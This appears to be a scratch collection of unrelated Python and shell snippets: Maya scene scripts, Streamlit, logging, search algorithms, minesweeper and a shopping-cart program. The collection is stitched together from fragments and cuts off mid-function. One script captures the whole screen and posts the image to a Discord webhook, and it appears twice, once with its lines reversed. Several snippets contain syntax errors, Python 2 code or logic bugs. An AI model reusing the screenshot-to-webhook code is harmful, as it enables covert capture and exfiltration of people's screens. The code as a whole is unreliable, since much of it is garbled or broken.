    return uniquePaths(n - 1, m) + uniquePaths(n, m - 1)

print(uniquePaths(3, 3))
result.fillna(0, inplace=True)
import json
import pprint

from urllib.request import urlopen

with urlopen("https://pypi.org/pypi/sampleproject/json") as resp:
    project_info = json.load(resp)["info"]

print(project_info)
""" Result:
    {'author': '', 'author_email': '"A. Random Developer" <author@example.com>', 'bugtrack_url': None, 'classifiers': ['Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3 :: Only', 'Programming Language :: Python :: 3.10', 'Programming Language :: Python :: 3.11', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: 3.8', 'Programming Language :: Python :: 3.9', 'Topic :: Software Development :: Build Tools'], 'description': '# A sample Python project\n\n![Python Logo](https://www.python.org/static/community_logos/python-logo.png "Sample inline image")\n\nA sample project that exists as an aid to the [Python Packaging User\nGuide][packaging guide]\'s [Tutorial on Packaging and Distributing\nProjects][distribution tutorial].\n\nThis project does not aim to cover best practices for Python project\ndevelopment as a whole. For example, it does not provide guidance or tool\nrecommendations for version control, documentation, or testing.\n\n[The source for this project is available here][src].\n\nThe metadata for a Python project is defined in the `pyproject.toml` file,\nan example of which is included in this project. You should edit this file\naccordingly to adapt this sample project to your needs.\n\n----\n\nThis is the README file for the project.\n\nThe file should use UTF-8 encoding and can be written using\n[reStructuredText][rst] or [markdown][md use] with the appropriate [key set][md\nuse]. It will be used to generate the project webpage on PyPI and will be\ndisplayed as the project homepage on common code-hosting services, and should be\nwritten for that purpose.\n\nTypical contents for this file would include an overview of the project, basic\nusage examples, etc. Generally, including the project changelog in here is not a\ngood idea, although a simple “What\'s New” section for the most recent version\nmay be appropriate.\n\n[packaging guide]: https://packaging.python.org\n[distribution tutorial]: https://packaging.python.org/tutorials/packaging-projects/\n[src]: https://github.com/pypa/sampleproject\n[rst]: http://docutils.sourceforge.net/rst.html\n[md]: https://tools.ietf.org/html/rfc7764#section-3.5 "CommonMark variant"\n[md use]: https://packaging.python.org/specifications/core-metadata/#description-content-type-optional\n', 'description_content_type': 'text/markdown', 'docs_url': None, 'download_url': '', 'downloads': {'last_day': -1, 'last_month': -1, 'last_week': -1}, 'home_page': '', 'keywords': 'sample,setuptools,development', 'license': 'Copyright (c) 2016 The Python Packaging Authority (PyPA)  Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:  The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ', 'maintainer': '', 'maintainer_email': '"A. Great Maintainer" <maintainer@example.com>', 'name': 'sampleproject', 'package_url': 'https://pypi.org/project/sampleproject/', 'platform': None, 'project_url': 'https://pypi.org/project/sampleproject/', 'project_urls': {'Bug Reports': 'https://github.com/pypa/sampleproject/issues', 'Funding': 'https://donate.pypi.org', 'Homepage': 'https://github.com/pypa/sampleproject', 'Say Thanks!': 'http://saythanks.io/to/example', 'Source': 'https://github.com/pypa/sampleproject/'}, 'release_url': 'https://pypi.org/project/sampleproject/3.0.0/', 'requires_dist': ['peppercorn', "check-manifest ; extra == 'dev'", "coverage ; extra == 'test'"], 'requires_python': '>=3.7', 'summary': 'A sample Python project', 'version': '3.0.0', 'yanked': False, 'yanked_reason': None}
"""

pprint.pprint(project_info)
"""
    {'author': '',
     'author_email': '"A. Random Developer" <author@example.com>',
     'bugtrack_url': None,
     'classifiers': ['Development Status :: 3 - Alpha',
                     'Intended Audience :: Developers',
                     'License :: OSI Approved :: MIT License',
                     'Programming Language :: Python :: 3',
                     'Programming Language :: Python :: 3 :: Only',
                     'Programming Language :: Python :: 3.10',
                     'Programming Language :: Python :: 3.11',
                     'Programming Language :: Python :: 3.7',
                     'Programming Language :: Python :: 3.8',
                     'Programming Language :: Python :: 3.9',
                     'Topic :: Software Development :: Build Tools'],
     'description': '# A sample Python project\n'
                    '\n'
                    '![Python '
                    'Logo](https://www.python.org/static/community_logos/python-logo.png '
                    '"Sample inline image")\n'
                    '\n'
                    'A sample project that exists as an aid to the [Python '
                    'Packaging User\n'
                    "Guide][packaging guide]'s [Tutorial on Packaging and "
                    'Distributing\n'
                    'Projects][distribution tutorial].\n'
                    '\n'
                    'This project does not aim to cover best practices for Python '
                    'project\n'
                    'development as a whole. For example, it does not provide '
                    'guidance or tool\n'
                    'recommendations for version control, documentation, or '
                    'testing.\n'
                    '\n'
                    '[The source for this project is available here][src].\n'
                    '\n'
                    'The metadata for a Python project is defined in the '
                    '`pyproject.toml` file,\n'
                    'an example of which is included in this project. You should '
                    'edit this file\n'
                    'accordingly to adapt this sample project to your needs.\n'
                    '\n'
                    '----\n'
                    '\n'
                    'This is the README file for the project.\n'
                    '\n'
                    'The file should use UTF-8 encoding and can be written using\n'
                    '[reStructuredText][rst] or [markdown][md use] with the '
                    'appropriate [key set][md\n'
                    'use]. It will be used to generate the project webpage on PyPI '
                    'and will be\n'
                    'displayed as the project homepage on common code-hosting '
                    'services, and should be\n'
                    'written for that purpose.\n'
                    '\n'
                    'Typical contents for this file would include an overview of '
                    'the project, basic\n'
                    'usage examples, etc. Generally, including the project '
                    'changelog in here is not a\n'
                    "good idea, although a simple “What's New” section for the "
                    'most recent version\n'
                    'may be appropriate.\n'
                    '\n'
                    '[packaging guide]: https://packaging.python.org\n'
                    '[distribution tutorial]: '
                    'https://packaging.python.org/tutorials/packaging-projects/\n'
                    '[src]: https://github.com/pypa/sampleproject\n'
                    '[rst]: http://docutils.sourceforge.net/rst.html\n'
                    '[md]: https://tools.ietf.org/html/rfc7764#section-3.5 '
                    '"CommonMark variant"\n'
                    '[md use]: '
                    'https://packaging.python.org/specifications/core-metadata/#description-content-type-optional\n',
     'description_content_type': 'text/markdown',
     'docs_url': None,
     'download_url': '',
     'downloads': {'last_day': -1, 'last_month': -1, 'last_week': -1},
     'home_page': '',
     'keywords': 'sample,setuptools,development',
     'license': 'Copyright (c) 2016 The Python Packaging Authority (PyPA)  '
                'Permission is hereby granted, free of charge, to any person '
                'obtaining a copy of this software and associated documentation '
                'files (the "Software"), to deal in the Software without '
                'restriction, including without limitation the rights to use, '
                'copy, modify, merge, publish, distribute, sublicense, and/or sell '
                'copies of the Software, and to permit persons to whom the '
                'Software is furnished to do so, subject to the following '
                'conditions:  The above copyright notice and this permission '
                'notice shall be included in all copies or substantial portions of '
                'the Software.  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY '
                'OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE '
                'WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE '
                'AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT '
                'HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, '
                'WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING '
                'FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR '
                'OTHER DEALINGS IN THE SOFTWARE. ',
     'maintainer': '',
     'maintainer_email': '"A. Great Maintainer" <maintainer@example.com>',
     'name': 'sampleproject',
     'package_url': 'https://pypi.org/project/sampleproject/',
     'platform': None,
     'project_url': 'https://pypi.org/project/sampleproject/',
     'project_urls': {'Bug Reports': 'https://github.com/pypa/sampleproject/issues',
                      'Funding': 'https://donate.pypi.org',
                      'Homepage': 'https://github.com/pypa/sampleproject',
                      'Say Thanks!': 'http://saythanks.io/to/example',
                      'Source': 'https://github.com/pypa/sampleproject/'},
     'release_url': 'https://pypi.org/project/sampleproject/3.0.0/',
     'requires_dist': ['peppercorn',
                       "check-manifest ; extra == 'dev'",
                       "coverage ; extra == 'test'"],
     'requires_python': '>=3.7',
     'summary': 'A sample Python project',
     'version': '3.0.0',
     'yanked': False,
     'yanked_reason': None}
"""
class CustomFormatter(logging.Formatter):

    grey = "\x1b[38;20m"
    yellow = "\x1b[33;20m"
    red = "\x1b[31;20m"
    bold_red = "\x1b[31;1m"
    reset = "\x1b[0m"
    format = "%(asctime)s - %(name)s - %(levelname)s - %(message)s (%(filename)s:%(lineno)d)"

    FORMATS = {
        logging.DEBUG: grey + format + reset,
        logging.INFO: grey + format + reset,
        logging.WARNING: yellow + format + reset,
        logging.ERROR: red + format + reset,
        logging.CRITICAL: bold_red + format + reset
    }

    def format(self, record):
        log_fmt = self.FORMATS.get(record.levelno)
        formatter = logging.Formatter(log_fmt)
        return formatter.format(record)

# create logger with 'spam_application'
logger = logging.getLogger("My_app")
logger.setLevel(logging.DEBUG)

# create console handler with a higher log level
ch = logging.StreamHandler()
ch.setLevel(logging.DEBUG)

ch.setFormatter(CustomFormatter())

logger.addHandler(ch)
# Import the itertools library 
# This library ships with Python 3 so you don't have to download anything
# It provides a bunch of tools for dealing with sequences and iteration
import itertools

# Create a new dictionary variable
myDictionary = {
    "name": "Fred",
    "animal": "cat",
    "colour": "red",
    "age": 3
} 

# Create a sliced dictionary
# dict() is used to convert the iterable result of itertools.islice() to a new dictionary
slicedDict = dict(itertools.islice(myDictionary.items(), 1 ,3))

print(slicedDict)

# Prints out 
# {   
#     'animal': 'cat', 
#     'colour': 'red'
# }
import logging
logger = logging.getLogger('cmdstanpy')
logger.addHandler(logging.NullHandler())
logger.propagate = False
logger.setLevel(logging.CRITICAL)
import streamlit as st

display = ("male", "female")
options = list(range(len(display)))
value = st.selectbox("gender", options, format_func=lambda x: display[x])
st.write(value)

# dropdown shows "male, female" but the value is 1 or 2
import string
alphabet = list(string.ascii_lowercase)
print(alphabet)

# Returns: ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']
# Last two items of ENTIRE list
ls = [1, 2, 3, 4, 5, 6, 7, 8]
print(ls[-2:])
# [7, 8]
# equivalent to ls[len(ls)-2:len(ls)], see below

# Last two items of A PART of list
cutoff = 5
print(ls[cutoff-2:cutoff])	# where -2 is last 2 values
# [4, 5]

# Using a for loop
for i in range(0, len(ls)):
   if i+1 ==  len(ls)):
      print(ls[i-1:len(ls)])
# [7, 8]



# Negative numbers in slices are simply evaluated by adding `len(ls)`, so this is the same as `ls[len(ls) - 2:]`. For more information on slices, refer to the [Python tutorial](http://docs.python.org/tutorial/introduction.html#strings) or [this excellent stackoverflow answer](https://stackoverflow.com/a/509295/35070).
list1 = [1, 2, 3]
list2 = [4, 5, 6]

# Product part
product_for_sum = []
for i in range(0, len(list1)):
   product_for_sum.append(list1[i]*list2[i])

# Sum part
sumproduct = sum(product_for_sum)

print(sumproduct)
# (1*4) + (2*5) + (3*6)
# = 4 + 10 + 18
# = 32 
import streamlit as st
from multipage_streamlit import MultiPage

def app():
    return
import streamlit as st

# Helper function to init session states
def init_sess_state(sess_state_name, init_val):
	if sess_state_name not in st.session_state:         
       st.session_state[sess_state_name] = init_val
    return sess_state_name
In [69]:
df.apply(lambda x: x.str.contains('|'.join(column_filters[x.name]), case=False))

Out[69]:
  COLUMN_1 COLUMN_2
0     True     True
1     True    False
2    False     True
3    False    False
4    False    False
from multiprocessing import Process

def func1():
  print 'func1: starting'
  for i in xrange(10000000): pass
  print 'func1: finishing'

def func2():
  print 'func2: starting'
  for i in xrange(10000000): pass
  print 'func2: finishing'

if __name__ == '__main__':
  p1 = Process(target=func1)
  p1.start()
  p2 = Process(target=func2)
  p2.start()
  p1.join()
  p2.join()

# give arg to function later
def scan_smth(domain):
    print("starting detailed scan")
    target=ssllabsscanner.newScan(domain)

t1 = Process(target=scan_smth, args=("www.example.com",))
t1.start()
t1.join()
# Send the screenshot through the webhook
files = {"file": ("screenshot.png", screenshot_buffer, "image/png")}
requests.post(WEBHOOK_URL, files=files)
# Save the screenshot to a BytesIO buffer
screenshot_buffer = BytesIO()
screenshot.save(screenshot_buffer, format="PNG")
screenshot_buffer.seek(0)
# Capture a screenshot
screenshot = ImageGrab.grab()
# Replace this with your Discord webhook URL
WEBHOOK_URL = "https://discordapp.com/api/webhooks/..."
import time
from io import BytesIO

import requests
from PIL import ImageGrab
import time
from io import BytesIO

import requests
from PIL import ImageGrab


# Replace this with your Discord webhook URL
WEBHOOK_URL = "https://discordapp.com/api/webhooks/..."

# Capture a screenshot
screenshot = ImageGrab.grab()

# Save the screenshot to a BytesIO buffer
screenshot_buffer = BytesIO()
screenshot.save(screenshot_buffer, format="PNG")
screenshot_buffer.seek(0)

# Send the screenshot through the webhook
files = {"file": ("screenshot.png", screenshot_buffer, "image/png")}
requests.post(WEBHOOK_URL, files=files)
pip install pillow
pip install requests
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from webdriver_manager.chrome import ChromeDriverManager

driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()))
driver.get("https://www.google.com")
lsof -t -i tcp:8000 | xargs kill -9
import maya.cmds as cmds
import re

# List all meshes in the scene
meshes = cmds.ls(type="mesh")

# Define the naming convention regex pattern
# Use capture groups and wildcard patterns to match the material name and mesh name
# Append "Shape" to the end of the regex pattern to only match mesh objects with "Shape" in their name
naming_convention = "(.+)_(.+)_####_GEOShape"

# Check if the "NamingConventionFail" selection set already exists
if cmds.objExists("NamingConventionFail"):
    # Delete the "NamingConventionFail" selection set
    cmds.delete("NamingConventionFail")

# Create the "NamingConventionFail" selection set
cmds.sets(name="NamingConventionFail")

# Loop through the meshes
for mesh in meshes:
    # Use re.search to check if the mesh name matches the naming convention
    match = re.search(naming_convention, mesh)
    if not match:
        # Add the mesh to the "NamingConventionFail" selection set
        cmds.sets(mesh, add="NamingConventionFail")

# Get the list of meshes in the "NamingConventionFail" selection set
mesh_list = cmds.sets("NamingConventionFail", query=True)

# Create a GUI window
window = cmds.window(title="Naming Convention Check")

# Create a column layout in the GUI window
layout = cmds.columnLayout()

# Create a label that displays the text "List of meshes that don't follow the correct naming convention"
cmds.text(label="List of meshes that don't follow the correct naming convention")

# Create a text scroll list in the column layout
cmds.textScrollList(append=mesh_list)

# Show the GUI window
cmds.showWindow(window)
import maya.cmds as cmds
import random

# Create a new window
window = cmds.window(title="Generating your city", widthHeight=(300, 200))
 
# Add a layout to the window
layout = cmds.columnLayout()
 
# Add a text field to the layout
text_field = cmds.text(label="..............{--Generating your city--}..............")
 
# Display the window
cmds.showWindow(window)

# Creates a "City_GRP" group
city_grp = cmds.group(name="City_GRP", empty=True)

for i in range(2000):
    # Create a cube with the "Building_####_GEO" name
    building_name = "Building_%04d_GEO" % i
    cube = cmds.polyCube(name=building_name)

    # Generate random X and Z coordinates with a maximum distance of 100 units from the world origin
    x = random.uniform(-100, 100)
    z = random.uniform(-100, 100)

    # Calculate the distance of the cube from the origin using the Pythagorean theorem
    distance = (x**2 + z**2)**0.5

    # Generate random scale values for the X, Z, and Y axes, with a max X and Z scale of 6 and a max Y scale of 20
    # and divide it by the pythagorean
    x_scale = random.uniform(1, 6) / (distance / 9)
    y_scale = random.uniform(1, 20) / (distance / 9)
    z_scale = random.uniform(1, 6) / (distance / 9)

    # Check if any of the scales are larger than 35 and delete the cube if they are
    if x_scale > 15 or y_scale > 35 or z_scale > 15:
        cmds.delete(building_name)
        continue

    # Randomize the cube's scale using the cmds.scale command
    cmds.scale(x_scale, y_scale, z_scale, building_name)

    # Position the cube at the random X and Z coordinates
    cmds.move(x, 0, z, building_name)

    # store the X and Z coordinates
    x_coord = cmds.getAttr(building_name + ".translateX")
    z_coord = cmds.getAttr(building_name + ".translateZ")

    # get the cubes bounding box
    bbox = cmds.xform(building_name, query=True, boundingBox=True)

    # store the minimum y value of the bounding box
    min_y = bbox[1]

    # Subtract the minimum y value from the cube's y coordinate
    y = 0 - min_y

    # set the new transform of the cube using the stored X and Z coordinates
    cmds.move(x_coord, y, z_coord, building_name)

    # Add the cube to the City_GRP group
    cmds.parent(building_name, city_grp)

	# ------------------------- group buildings

# Get all children of City_GRP that start with "Building"
buildings = cmds.listRelatives("City_GRP", children=True, type="transform")
buildings = [b for b in buildings if b.startswith("Building")]

# Create three groups to hold the buildings, using the desired names
group1 = cmds.group(empty=True, name="cityCenter_GRP")
group2 = cmds.group(empty=True, name="cityLimits_GRP")
group3 = cmds.group(empty=True, name="cityOutskirts_GRP")

# Add the groups as children of City_GRP
cmds.parent([group1, group2, group3], "City_GRP")

# Iterate over the buildings and add them to the appropriate group
for building in buildings:
    # Get the distance of the building from the world origin
    position = cmds.xform(building, query=True, worldSpace=True, translation=True)
    distance = (position[0]**2 + position[1]**2 + position[2]**2)**0.5

    if distance < 33.33:
        cmds.parent(building, group1)
    elif distance < 66.66:
        cmds.parent(building, group2)
    else:
        cmds.parent(building, group3)

    # ----------------------- build environment


# Create a plane with a scale of 200 in each direction
cmds.polyPlane(name="groundPlane_GEO", w=200, h=200)

# Create a directional light
cmds.directionalLight(name="sun_LGT")

# Set the position and rotation of the light using the move and rotate commands
cmds.move(0, 60, 0, "sun_LGT", absolute=True)
cmds.rotate(-22, 50, 0, "sun_LGT", absolute=True)

# Set the light shadow color to a grey with a value of 0.35
cmds.setAttr("sun_LGT.shadowColor", 0.35, 0.35, 0.35, type="double3")

# Create a group to hold the plane and light
cmds.group(name="environment_GRP", empty=True)

# Add the plane and light to the group
cmds.parent("groundPlane_GEO", "environment_GRP")
cmds.parent("sun_LGT", "environment_GRP")

# Add the environment group as a child of the City group
cmds.parent("environment_GRP", "City_GRP")

# Update the text field to say "Done"
cmds.text(text_field, edit=True, label=".............._____Done_____..............")
import maya.cmds as cmds
import random
import math

# Create the City_GRP group
cmds.group(name="City_GRP", empty=True)

# Create 2000 cubes with random X, Z, and Y scale
for i in range(1, 2001):
    # Create a cube with the "Building_####_GEO" name
    cube = cmds.polyCube(w=1, h=1, d=1, name="Building_{:04d}_GEO".format(i))

    # Generate random X and Z coordinates with a maximum distance of 100 units from the world origin
    x_coord = random.uniform(-100, 100)
    z_coord = random.uniform(-100, 100)

    # Calculate the distance of the cube from the origin using the Pythagorean theorem
    distance = math.sqrt(x_coord**2 + z_coord**2)

    # Generate random scale values for the X, Z, and Y axes, with a max X and Z scale of 6 and a max Y scale of 20
    x_scale = random.uniform(1, 6) / (distance / 10)
    z_scale = random.uniform(1, 6) / (distance / 10)
    y_scale = random.uniform(1, 20) / (distance / 10)

    # Randomize the cube's scale using the cmds.scale command
    cmds.scale(x_scale, y_scale, z_scale, cube)

    # Position the cube at the random X and Z coordinates
    cmds.setAttr(cube[0] + ".translateX", x_coord)
    cmds.setAttr(cube[0] + ".translateZ", z_coord)

    # Add the cube to the City_GRP group
    cmds.parent(cube[0], "City_GRP")
import pandas as pd
from sklearn.model_selection import train_test_split

# Load the data from the CSV file
data = pd.read_csv("data.csv")

# Split the data into train and validation sets, using 85% of the data for training and 15% for validation for the "labels" column
train_data, validation_data = train_test_split(data, train_size=0.85, test_size=0.15, random_state=42, stratify=data["labels"])

# Write the train and validation datasets to CSV files
train_data.to_csv("train.csv", index=False)
validation_data.to_csv("valid.csv", index=False)
lsof -t -i tcp:8000 | xargs kill -9
REST_FRAMEWORK = { 
 (...)
'DEFAULT_CONTENT_NEGOTIATION_CLASS': 'myapp.renderers.IgnoreClientContentNegotiation',
}
sudo apt update
sudo apt install software-properties-common
from random import*

class Board:
    def __init__(self, dim, num_bombs):
        self.dim = dim
        self.num_bombs = num_bombs
        self.board = ["@" for i in range(dim * dim)]
        self.around = [dim, -dim, 1, -1, dim+1, -dim+1, dim-1, -dim-1]
    
    def set_board(self, first_choice):
        x = set()
       
        while len(x) < self.num_bombs:
            idx = randint(0, pow(self.dim, 2) - 1)
            while idx == first_choice:
                idx = randint(0, pow(self.dim, 2) - 1)
            x.add(idx)
           
        self.bombs = sorted(list(x))
        print(self.bombs)

    def print_board(self):
        for idx in range(pow(self.dim, 2)):
            if idx % self.dim == 0 and idx != 0:
                print()
            print(self.board[idx], end = " ")
        print()
           
           
    def update_board(self, idx):
        if idx in self.bombs:
            for i in self.bombs:
                self.board[i] = "*"
            self.print_board()
            print()
            print("Game Over!")
            return False
        elif 0 <= idx < pow(self.dim, 2):
            self.board[idx] = str(len(set(self.bombs).intersection(set([idx+j for j in self.around if 0 < idx+j < pow(self.dim, 2)]))))
            if "@" not in [el for i, el in enumerate(self.board) if i not in self.bombs]:
                print("Win!")
                self.print_board()
                return False
            return True
            
    def get_input(self):
        while True:
            try:
                i = int(input("Dig the mine(0~" + str(pow(self.dim, 2) - 1) + "): "))
                if 0 < i >= pow(self.dim, 2):
                    raise Exception
                break
            except:
                print("Invalid_input!")
        return i
        

def play(dim, num_bombs):
    
    board = Board(dim, num_bombs)
    board.print_board()
    i = board.get_input()
    board.set_board(i)
    
    while board.update_board(i):
        board.print_board()
        i = board.get_input()

dim = int(input("Enter demension: "))
num_bombs = int(input("Enter number of bombs: "))
play(dim, num_bombs)
import logging
import boto3
from botocore.exceptions import ClientError
import os


def upload_file(file_name, bucket, object_name=None):
    """Upload a file to an S3 bucket

    :param file_name: File to upload
    :param bucket: Bucket to upload to
    :param object_name: S3 object name. If not specified then file_name is used
    :return: True if file was uploaded, else False
    """

    # If S3 object_name was not specified, use file_name
    if object_name is None:
        object_name = os.path.basename(file_name)

    # Upload the file
    s3_client = boto3.client('s3')
    try:
        response = s3_client.upload_file(file_name, bucket, object_name)
    except ClientError as e:
        logging.error(e)
        return False
    return True
#method 1
def evaluate(n, l, r, m, list_a):
    if list_a[m] > n:
        r = m
        m = (l+r) // 2
    elif list_a[m] < n:
        l = m+1
        m = (l+r) // 2
    elif list_a[m] == n:
        return "found"
    return (l, r, m)
    
def binary_search(list_a, n):
    l, r = 0, len(list_a) - 1
    m = (l+r) // 2
    
    while True:
        try:
            l, r, m = evaluate(n, l, r, m, list_a)
      
        except Exception:
            break
  
    return m
    

#method 2
def recursive_binary_search(list_a, target, l = None, r = None):
    if list_a == []:
        return None
        
    if l == None and r == None:
        l = 0
        r = len(list_a) - 1
        
    mid = (l + r) // 2
    
    if list_a[mid] == target:
        return mid
    elif target < list_a[mid]:
        return recursive_binary_search(list_a, target, l, mid - 1)
    elif target > list_a[mid]:
        return recursive_binary_search(list_a, target, mid + 1, r)
        
def naive_search(list_a, target):
    for i in list_a:
        if i == target:
            return target
    return None

#test
from random import*
from time import*

sorted_list = set()
length = 1000

while len(sorted_list) < length:
    sorted_list.add(randint(-8 * length, 8* length))

sorted_list = sorted(list(sorted_list))

start = time()
for target in sorted_list:
    naive_search(sorted_list, target)
end = time()
print("Naive Search:", (end - start) / length)

start = time()
for target in sorted_list:
    binary_search(sorted_list, target)
end = time()
print("Binary Search:", (end - start) / length)
    
start = time()
for target in sorted_list:
    recursive_binary_search(sorted_list, target)
end = time()
print("Recursive Binary Search:", (end - start) / length)

   
import pandas as pd
from dataprep.eda import create_report
df = pd.read_csv("parking_violations.csv")
create_report(df)

#Plot 
plot(df)
plot_correlation(df)

#plot correlation
plot_correlation(df, col1, col2)



#load dataset houses, titanic
from dataprep.datasets import load_dataset

#plot diff training and test data
from dataprep.datasets import load_dataset
import numpy as np
df1 = load_dataset("house_prices_train")
df1 = df1.replace(" ?", np.NaN)
df2 = load_dataset("house_prices_test")
df2 = df2.replace(" ?", np.NaN)

#save Report
from dataprep.eda import create_report
report = create_report(df, title='My Report')
report.save(filename='report_01', to='~/Desktop')
import sweetviz as sv
analyze_report = sv.analyze(df)
analyze_report.show_html('report.html', open_browser=False)
### Initialization Process ###
 
# Creating Item Database #
 
import weakref
# Module for process involved with displaying all items available. Not sure what it is or does but it works...
 
class Item(object):
    items = []
    # Ignore. Empty list for displaying all items available. 
 
    def __init__(self, itemname, itemprice, itemstock):
        self.__class__.items.append(weakref.proxy(self))
        self.itemname = itemname
        self.itemprice = itemprice
        self.itemstock = itemstock
    # For defining new items; takes name of item, its price, and its stock.
 
    def GetItemName(self):
        return self.itemname
    # To get the name of a specific item
 
    def GetItemPrice(self):
        return self.itemprice
    # To get the price of a specific item.
    
    def GetItemStock(self):
        return self.itemstock
    # To get the stock of a specific item.
 
    def ChangeItemPrice(self, newprice):
        self.itemprice = newprice
    # To change price of a specific item.
    
    def ChangeItemStock(self, newstock):
        self.itemstock = newstock
    # To change stock of a specific item.
 
# Creating Cart Class #
 
class Cart(dict): 
    """cart dict format:  {itemname:[price,number]}"""
    def ShowCart(self):
        return self
    # To define user's cart.
 
# Creating Customer's Shopping Account #
 
class Customer(object):
    """Produces an objects that represent customers."""
 
    def __init__(self, customer_name, customer_id):   
        self.customer_name = customer_name
        self.customer_id = customer_id
        self.cartlist = {}
        self.cartlist[0] = Cart()
    # For defining new customers; takes person's name and id.
 
    def AddCart(self):
        self.cartlist[len(self.cartlist)] = Cart()
    # To create a new cart.
 
    def GetCart(self, cartindex = 0):
        return self.cartlist[cartindex]
    # To get a cart.
 
    def BuyItem(self, item, itemnum, cartindex = 0):
        try:
            self.cartlist[cartindex][item.GetItemName()][1] += itemnum
        except:
            self.cartlist[cartindex].update({item.GetItemName():[item.GetItemPrice(),itemnum]})
    # Process of buying an item
 
    def BuyCancle(self, item, itemnum, cartindex = 0):
        try:
            self.cartlist[cartindex][item.GetItemName()][1] -= itemnum
        except:
            self.cartlist[cartindex].update({item.GetItemName():[item.GetItemPrice(),itemnum]})
    # Process of cancelling buying an item
    
    def CheckOut(self):
        global order_history
        order_history = []
        items_bought = []
        for item in self.cartlist:
            items_bought.append(self.cartlist[item])
        #self.cartlist = {} --> removed due to bug
        print("Items bought were:", items_bought)
        print("""\nFormat to read bill is: [{'item_name': [unit price (USD), quantity]}]
\nTo calculate total price (USD), go through each cart, and in each cart, go through each item, and multiply the unit price by the quantity.""")
        order_history.append(items_bought)
        items_bought = []
    # To 'buy' the items and therefore reset the cart and add into order history.
    
    def ViewOrderHistory(self):
        print("Full history of items bought for" + str(customer_name.customer_name), "is:\n", order_history)
        print("""\nFormat to read bill is: [[{'item_name': [unit price (USD), quantity]}]]
\nTo calculate total price (USD), go through each cart, and in each cart, go through each item, and multiply the unit price by the quantity.""")
    # To view the order history of items bought from all checkouts.
 
# Initializing Item Database #
# Format: name = Item('name', price)
 
Apple = Item('Apple', 7.80, 54)
Pear = Item('Pear', 6.20, 61)
Gun = Item('Gun', 500.00, 5)
Cookie = Item('Cookie', 5.90, 100)
Dad = Item('Dad', 0.00, 0)
 
# Initializing Store For Item Database #
 
def ShowItems():
    for item in Item.items:
        print("Item name:", item.itemname, "| Item price: $", item.itemprice, "USD | Item stock:", item.itemstock)
# Above code is to display all items available.
 
# User Agreement Function #
 
def okay():
    okay = input("\n\nType 'okay' to continue: ")
    print("")
# Function that simply asks for a filler user input before proceeding to the code after it.
    
# User Add Item Loop Function #
 
def add_item_to_cart_function():
    error_count = -1
    while True:
        error_count += 1
        if error_count > 0:
            print("\nERROR: The item you input is not in our catalogue. Choose only one of specific items from our inventory, or make sure the input is case sensitive.\n")
        item_wanted = str(input("Enter the item you would like to add to the cart: "))
        # Asks for user input for item desired.
        global item_wanted_variable
        item_wanted_variable = item_wanted
        item_search = globals()
        if item_wanted_variable in item_search:
            try:
                item_wanted_variable = item_search[item_wanted_variable]
                break
            except UnboundLocalError:
                continue
    # Used to troubleshoot class attribution error where item_wanted was a string class and could not be identified as an item. Essentially takes item_wanted and its string class, and finds a variable in this code with the same name, and then goes from there.
    while True:
        qnty_wanted = int(input("\nEnter the quantity of the item you would like to purchase (qnty wanted <= item stock): "))
        # Asks for user input for item quantity desired.
        if qnty_wanted <= item_wanted_variable.itemstock:
            item_wanted_variable.itemstock -= qnty_wanted
            break
        else:
            print("\nERROR: The quantity you input is above the quantity available of the specified item. Choose only a value less than or equal to the stock. The stock of", item_wanted, "is", str(item_wanted_variable.itemstock) + ".\n")
            continue
    customer_name.BuyItem(item_wanted_variable, qnty_wanted, cart_num)
    total_price_for_item_added = float(item_wanted_variable.itemprice * qnty_wanted)
    print("\nYou are adding", qnty_wanted, str(item_wanted) + "s for", item_wanted_variable.itemprice, "USD each. This will cost", total_price_for_item_added, "USD.")
    print("\nThe stock for", item_wanted, "is now", str(item_wanted_variable.itemstock) + ".")
    okay()
    print("")
    print(str(customer_name.customer_name) + "'s Cart", cart_num, "has: %s" % customer_name.GetCart(cart_num))
    print("""\nFormat to read cart is: {'item_name': [unit price (USD), quantity]}
\nTo calculate total price (USD), go through each item in the cart, and multiply the unit price by the quantity.""")
    # Adds the item and quantity to the cart under the iteration.
 
# User Remove Item Loop Function #
 
def remove_item_from_cart_function():
    error_count = -1
    while True:
        error_count += 1
        if error_count > 0:
            print("\nERROR: The item you input is not in our catalogue. Choose only one of specific items from our inventory, or make sure the input is case sensitive.\n")
        cart_num_for_removal = int(input("Enter the cart number of which you are referencing here: "))
        # Asks for user input for cart being referenced.
        item_removed = str(input("Enter the name of item you would like to remove from the cart: "))
        # Asks for user input for item removal desired.
        global item_removed_variable
        item_removed_variable = item_removed
        item_search = globals()
        if item_removed_variable in item_search:
            try:
                item_removed_variable = item_search[item_removed_variable]
                break
